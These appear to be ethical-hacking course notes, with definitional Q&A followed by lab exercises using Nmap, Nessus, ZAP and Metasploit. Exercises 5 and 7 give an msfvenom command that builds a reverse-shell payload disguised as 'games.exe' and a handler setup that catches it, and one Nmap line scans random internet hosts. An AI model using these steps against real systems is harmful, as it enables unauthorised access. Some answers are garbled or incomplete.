

Short Question for Written

What is Hacking?

hacking means gaining access to someone's computer, mobile phone or any electronic device to steal private data forcefully without the user's permission.

What is an Ethical Hacker?

An Ethical Hacker, also known as a White Hat Hacker, is a security expert who uses their skills and knowledge to identify vulnerabilities in computer systems, networks, and applications

What is Firewall?

A firewall is a network security system that monitors and controls incoming and outgoing network traffic based on predetermined security rules. Firewalls are the first line of defence for your network security Firewall may be both Hardware and Software.

What is DNS?

DNS means Domain Name System, DNS allows users to access websites using domain names and URLs rather than complex numerical internet protocol (IP) addresses. DNS translates domain names to IP addresses so browsers can load Internet resources.

What is a Cyber Attack?

A cyber attack is an assault launched by cybercriminals using one or more computers against a single or multiple computers or networks with the intention of stealing sensitive company information or personal data, and generating profit.

What are the types of cyber-attacks?

Brute Force Attacks
Cross-Site Scripting (XSS)
Malware Attacks
Denial-of-Service (DoS)
Phishing Attacks
Social Engineering Attacks
Man-in-the-Middle (MitM) Attacks
Spoofing Attacks
SQL Injection Attacks

What is the primary goal of Penetration Testing?

The primary goal of Penetration Testing is to:

- Uncover vulnerabilities and exploit them
- Identify vulnerabilities in a network and remediate them before a threat actor can find

- and exploit them
- validate the effectiveness of current security controls
- Identify vulnerabilities within a system or network, and provide a detailed analysis of
- security gaps and recommend measures to mitigate them
- Protect the business and customers from cyber threats

What is different between Internet, Intranet and Extranet?

Internet: Public network accessible to anyone with an internet connection. The Internet is a huge network of millions of computers and related devices from all corners of the globe through which users are able to communicate.

Intranet: An Intranet is a local area network that has been designed for use within an organization by its employees to share information as well as work together in Private network. Intranet is Restricted to a specific organization or company

Extranet: An Extranet is an extended form of an Intranet that enables secure communication and collaboration between an organization and external entities, such as suppliers, partners, or clients.

What is 127.0.0.1 and localhost?

127.0.0.1: The IP Address

127.0.0.1 is a specific IP address, part of the reserved range 127.0.0.0/8, designated for loopback purposes

localhost: The Hostname

Localhost is a hostname that resolves to the IP address of 127.0.0.1

127.0.0.1 is a specific IP address, and localhost is a hostname that resolves to that IP address.

What are the three types of penetration-testing methodologies?

Black Box: This methodology involves no prior knowledge of the target system's architecture, infrastructure, or code.

Gray Box: This methodology involves partial knowledge of the target system's architecture, infrastructure, or code.

White Box: This methodology involves complete knowledge of the target system's architecture, infrastructure, and code.

What are the challenges of Penetration Testing?

False Positives

Continuously changing environments

Lack of a Test Environment

Limited Test Accounts

Limiting the Scope

Addressing Lack of Standardization and Transparency

Overemphasis on Compliance in Penetration Testing

Supporting Remediation Activities Post-Penetration Testing

What are the types of Penetration Testing?

Network Penetration Testing
Web Application Penetration Testing
Wireless Penetration Testing
Internal Penetration Testing
External Penetration Testing
Mobile Application Penetration Testing
Cloud Penetration Testing
Social Engineering Penetration Testing

What is session hijacking?

Session hijacking is a type of cyber-attack where an attacker steals or manipulates a user's session token to gain unauthorized access to their information or service.

What is the difference between internal and external Penetration Testing?

Internal Penetration Testing:

3

External Penetration Testing:

Simulates a remote attack, mimicking the most prevalent method of hacking a company's systems from the outside.

How to secure a web server step by step?

Use Strong and Unique Passwords:
Regular Security Updates
Intrusion Detection and Prevention
Restrict access to the server
Implement Web Application Firewall (WAF)
Monitor Server Logs
Regular Security Audits

What is NIC?

Network Interface Card (NIC) is a hardware component that enables computers to communicate with other devices on a network. It provides a dedicated connection to a network, allowing data transfer between devices.

What is CIA tried?

The CIA triad refers to confidentiality, integrity and availability, is a widely used information security model for guiding an organization's efforts and policies aimed at keeping its data secure.

Confidentiality: Only authorized users and processes should be able to access or modify data

Integrity: Data should be maintained in a correct state and nobody should be able to improperly modify it, either accidentally or maliciously

Availability: Authorized users should be able to access data whenever they need to do so

Explain TCP Three-way handshake?

The TCP 3-Way Handshake is a fundamental process that establishes a reliable connection between two devices over a TCP/IP network. The exchange of these four flags is performed in three steps—SYN, SYN-ACK, and ACK

What are TCP and UDP? Difference between TCP UDP.

TCP refers to the Transmission Control Protocol. It is a connection-oriented protocol that means it establishes the connection prior to the communication that occurs between the computing devices in a network. This performs a 3 way hand shake to establish a secure and reliable connection to start data transfer.

UDP refers to User Datagram Protocol. Unreliable, not connection oriented protocol.

Prior communications are not required in order to set up communication channels or data paths. Specially focuses on reducing latency.

Comparison:

TCP Highly reliable, UDP not

TCP is slower compare to UDP

TCP ensures lossless communication using error detection, data loss may occur in UDP

TCP is bad live streaming as it require high speed with low latency, UDP overcomes this.

What is powershell?

It's a command line shell and scripting language developed by Microsoft mostly used for administration, automation and configuration management.

PowerShell is a **command-line shell and scripting language** developed by Microsoft for managing computers, automating tasks, and administering systems. It's much more powerful than the traditional Windows Command Prompt (CMD).

Practical Part

Exercise 1: Gathering Whois and DNS Information

Lab Duration: 30 Minutes

Lab Objectives

The objective of this lab is to help students to analyze domain registered information and DNS Information

Launch Web Browser

- Task 1: go to: www.domainbigdata.com / whoxy.com
- Task 2: Type www.megacorpone.com in search options.
- Task 3: It will show the whois information about domain registered.
- Task 4: go to <https://intodns.com>
- Task 5: type www.megacorpone.com in search options
- Task 6: Click Report
- Task 7: It will show all DNS information

or

Launch Web Browser

- Task 1: go to: <https://who.is>
- Task 2: Type www.megacorpone.com in search options.
- Task 3: It will show the whois information about domain registered.
- Task 4: go to <https://intodns.com>
- Task 5: type www.megacorpone.com in search options
- Task 6: Click Report
- Task 7: It will show all DNS information

Exercise 2: Understanding Network Scanning using Nmap

Lab Duration: 40 Minutes

Lab Objectives

The Objective of this lab is to help student learn how to scan network, Ip, Domain and analyze the host.

Open Kali Linux OS

Login with Username: kali and Password: kali

Open Terminal

- type: `nmap -sP 192.168.1.0/24` (Ping Sweep Scan)
- type: `nmap -sn -PR 192.168.1.0` (ARP Ping Scan)
- Type: `nmap 192.168.1.0 -O` (Remote OS Detection)
- type: `nmap 192.168.1.0 -p-65535` (App Port Scan)
- type: `nmap 192.168.1.1 -T5` (Insane speeds scan)
- type: `nmap -n -Pn -p 80 --open -sV -vvv --script banner,http-title -iR 1000` (Fast search for random web servers)
- type: `nmap 192.168.1.0 -p-65535` (App Port Scan)
- type: `nmap -sn -PE 192.168.0` (Echo Ping Scan)
- type: `nmap 192.168.1.1 -sU` (UDP port scan)
- type: `nmap -Pn --script=http-sitemap-generator scanme.nmap.org` (http site map generator)
- type: `nmap 192.168.1.1 -A` (Enables OS detection)
- type: `nmap 192.168.1.1 -p 21` (Port scan for port 21)
- type: `nmap -Pn --script=dns-brute domain.com` (Brute forces DNS hostnames guessing subdomains)

Exercise 3: Overview of Vulnerability Scanning

Lab Duration: 50 Minutes

Lab Objectives

The objective of this lab is to find possible network vulnerabilities.

https://localhost:8834 in the address bar. Enter login credential.

Username: admin

Password: admin

- After successful login, go to Nessus Policies window and click Create a new
- policy link.
- Click Create a New Scan link to create a new scan.
- Select Scan Types any one
- Set a name for the scan in the Name Text field type a description for the
- scan in the Description field, leave the Folder field set to default in the
- Targets text field (here, 162.241.216.11).
- click on the Save drop-down menu and click Launch.
- It will take sometimes to scan the machine
- Once the scan is completed, it will display a tick mark in right corner.
- Click Name (host name). to view the scan result.
- Click on IP/Host to view all the vulnerabilities associated with it.
- A list of vulnerabilities is displayed for this host as shown
- Click Export and select a format (here, HTML) in order to export the result
- The Export as HTML pop-up appears,

Exercise 4: Perform OS Discovery

Use the Unicornscan tool to perform OS Discovery on the target system

open terminal

type: unicorn ip -lv or Use unicornscan -v -l 10.10.0.4 and wait

it will show the TCP port with TTL Value

If not working upper command: Others way te ber kora.

Nmap -O ip

or

Ping -c5 ip

Exercise 5: Perform Static Malware Analysis

Create Payload:

msfvenom -p windows/meterpreter/reverse_tcp lhost=kali ip lport=4444 -f exe -o games.exe

Malware Analysis with Virus total

goto virustotal.com

upload exe file

it will show the basic properties, history,names,pe info, section, metadata etc.

click the relation tab.

Exercise 6: Detect Web Application Vulnerabilities using OWASP ZAP

Click automated scan

Enter the website link <http://testphp.vulnweb.com>

After scan completes, alerts tab appears

Exercise 7: Create Backdoor to access windows OS.

Create Payload:

```
msfvenom -p windows/meterpreter/reverse_tcp lhost=kali ip lport=4444 -f exe -o games.exe
```

msfconsole

- use exploit/multi/handler
- set PAYLOAD windows/meterpreter/reverse_tcp
- set LHOST ip
- set LPORT portnumber
- show options
- exploit

Exercise 8: Metasploit Framework

Lab Duration: 40 Minutes

Lab Objectives:

Open Kali Linux OS

Login with Username: root and Password: toor

Open Terminal

```
msfconsole -h
```

```
msfconsole
```

(you will go to msf terminal)

```
help
```

```
search android
```

```
search windows
```

```
use auxiliary/scanner/http/crawler
```

```
set RHOST IP
```

```
set RPORT 9000
```

```
run
```